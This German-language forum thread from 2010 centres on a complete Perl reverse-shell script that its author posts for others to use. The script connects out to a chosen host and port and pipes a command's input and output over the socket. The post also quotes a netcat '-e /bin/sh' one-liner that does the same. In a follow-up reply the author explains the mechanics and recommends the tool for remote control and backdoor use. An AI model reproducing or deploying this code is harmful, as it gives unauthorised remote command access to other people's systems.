[Perl] Little Reverse Shell

Dieses Thema im Forum "Projekte / Codes" wurde erstellt von fred777, 22. Juni 2010 .

  1. Diese Seite verwendet Cookies. Wenn du dich weiterhin auf dieser Seite aufhältst, akzeptierst du unseren Einsatz von Cookies. Weitere Informationen
  1. #1 22. Juni 2010
    Little Reverse Shell

    Ist vor kurzem entstanden, klar ginge auch
    $nc -e /bin/sh host port
    allerdings ist netcat nicht überall vorhanden..

    Vondaher:

    Code:
    #!/usr/bin/perl
    #............................................................#
    # Reverse Shell 1.1 #
    # °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° #
    # + Command Execution #
    # + TCP Connection #
    # #
    # Usage: $ *.pl <host> <port> <command> #
    # Ex : $ *.pl 127.0.0.1 777 start #
    # #
    # < j0k3 > (c) fred777.5x.to #
    #............................................................#
    
    use strict;
    use warnings;
    use Socket;
    $|++;
    
    intro();
    my ($addr,$port,$comm) = @ARGV;
    exit unless($addr && $port && $comm);
    my $proto = getprotobyname('tcp') || die "\nProtokoll: $!\n";
    my $tar = inet_aton($addr);
    my $in_addr = sockaddr_in($port,$tar);
    
    print "\n[*] Create Socket\n";
    
    socket(SERV, PF_INET, SOCK_STREAM, $proto) || die "\nSocket: $!\n";
    connect(SERV,$in_addr) || die "\nConnect: $!\n";
    print "[*] Create Shell\n";
    
    if(!fork()) {
    
     open(STDIN, ">&SERV");
     open(STDOUT,">&SERV");
     exec ($comm); exit;
    }
    
    sub intro {
    
    print q {
    
    #............................................................#
    # Reverse Shell 1.1 #
    # -.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. #
    # #
    # + Command Execution #
    # + TCP Connection #
    # #
    # - $ shell.pl <host> <port> <command> #
    # #
    # < j0k3 > (c) fred777.5x.to #
    #............................................................#
    
    }
    
    }
     

  2. Anzeige
  3. #2 22. Juni 2010
    AW: Little Reverse Shell

    Was ich noch sagen wollte, bevor pyro in Rampage verfallen ist (er hats mir nun erlaubt) :lol:

    Es wäre vielleicht nützlicher, wenn du genauer auf dein Programm eingehst, also was es ist und wozu es dient, wie es funktioniert. Quasi den Code näher an die User heran trägst, es gibt sicher viele die mit dem Begriff nichts anfangen können. Das ist (laut dem gepinnten Thread) die eigentliche Absicht dieses Bereiches.
     
  4. #3 22. Juni 2010
    AW: Little Reverse Shell

    Jop, kein Ding, also:
    Die Reverse Shell baut auf eine ausgehende TCP Verbindung auf, bzw. zum Zielsystem.
    Das ganze geschieht in Perl in meinem Script via Sockets. Sprich:

    Ich erstelle erstmal ein Socket mit den entsprechenden Modulen, näheres dazu in der Socket Header Dokumentation. Dann verbinde ich zum Ziel, was in dem Fall dann unser Host ist.
    Adresse und Port werden vorher in der Variablendeklarierung festgelegt.

    Solange jetzt die Verbindung besteht, leiten wir die Standardausgaben und -Eingaben an unsere Connection weiter, so etwa unsere 'exec' Zeile, welche den Output eines Befehls an uns weiterleitet.

    Sinnvoll z.B. bei einfachen Remotesteuerungen oder Backdooraktionen.
    Das sollte erstmal langen ;)
     

  5. Videos zum Thema
Die Seite wird geladen...